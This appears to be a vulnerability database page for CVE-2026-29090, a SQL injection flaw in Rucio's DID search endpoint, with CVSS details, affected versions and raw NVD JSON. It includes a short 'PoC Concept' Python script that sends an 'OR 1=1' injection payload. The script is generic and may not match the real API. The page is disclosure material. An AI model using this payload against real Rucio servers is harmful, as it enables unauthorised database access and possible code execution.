Security Vulnerability Report
中文
CVE-2026-29090 CVSS 8.8 HIGH

CVE-2026-29090

Published: 2026-05-06 18:16:03
Last Modified: 2026-05-11 15:00:58

Description

### Summary A SQL injection vulnerability exists in Rucio versions 1.30.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1, in `FilterEngine.create_postgres_query()`. This allows any authenticated Rucio user to execute arbitrary SQL against the PostgreSQL metadata database through the DID search endpoint (`GET /dids/<scope>/dids/search`). When the `postgres_meta` metadata plugin is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL strings via Python `.format()`, then passed to `psycopg3`'s `sql.SQL()` which treats the string as trusted SQL syntax. Depending on the database privileges assigned to the service account, exploitation can expose sensitive tables, modify or delete metadata, access server-side files, or achieve code execution through PostgreSQL features such as COPY ... FROM PROGRAM. This issue affects deployments that explicitly use the postgres_meta metadata plugin. This vulnerability has been fixed in versions 35.8.5, 38.5.5, 39.4.2, and 40.1.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:* - VULNERABLE
Rucio >= 1.30.0, < 35.8.5
Rucio >= 38.0.0, < 38.5.5
Rucio >= 39.0.0, < 39.4.2
Rucio >= 40.0.0, < 40.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-29090 import requests target_url = "http://vulnerable-rucio-instance:8080/dids/test_scope/dids/search" # Malicious filter exploiting the .format() SQL injection # Attempting to perform a blind SQL injection or time-based attack params = { "filter": "name='test' OR 1=1; --" } headers = { "X-Rucio-Account": "attacker", "X-Rucio-Token": "valid_auth_token" } response = requests.get(target_url, params=params, headers=headers) if response.status_code == 200: print("[+] Potential SQL Injection successful") print(response.text) else: print("[-] Request failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29090", "sourceIdentifier": "[email protected]", "published": "2026-05-06T18:16:02.953", "lastModified": "2026-05-11T15:00:58.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "### Summary\n\nA SQL injection vulnerability exists in Rucio versions 1.30.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1, in `FilterEngine.create_postgres_query()`. This allows any authenticated Rucio user to execute arbitrary SQL against the PostgreSQL metadata database through the DID search endpoint (`GET /dids/<scope>/dids/search`). When the `postgres_meta` metadata plugin is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL strings via Python `.format()`, then passed to `psycopg3`'s `sql.SQL()` which treats the string as trusted SQL syntax. \n\nDepending on the database privileges assigned to the service account, exploitation can expose sensitive tables, modify or delete metadata, access server-side files, or achieve code execution through PostgreSQL features such as COPY ... FROM PROGRAM. This issue affects deployments that explicitly use the postgres_meta metadata plugin. This vulnerability has been fixed in versions 35.8.5, 38.5.5, 39.4.2, and 40.1.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.30.0", "versionEndExcluding": "35.8.5", "matchCriteriaId": "D5B90A2B-9818-4D18-9393-A5F929A8BABC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:*", "versionStartIncluding": "36.0.0", "versionEndExcluding": "38.5.5", "matchCriteriaId": "9569D0A4-E71A-4808-85F3-F342B63564AB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:*", "versionStartIncluding": "39.0.0", "versionEndExcluding": "39.4.2", "matchCriteriaId": "500B49AA-C85E-4124-B66F-B1DE39D075BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:*", "versionStartIncluding": "40.0.0", "versionEndExcluding": "40.1.1", "matchCriteriaId": "865FB585-4C3B-4D49-A332-CA76C9B3C763"}]}]}], "references": [{"url": "https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}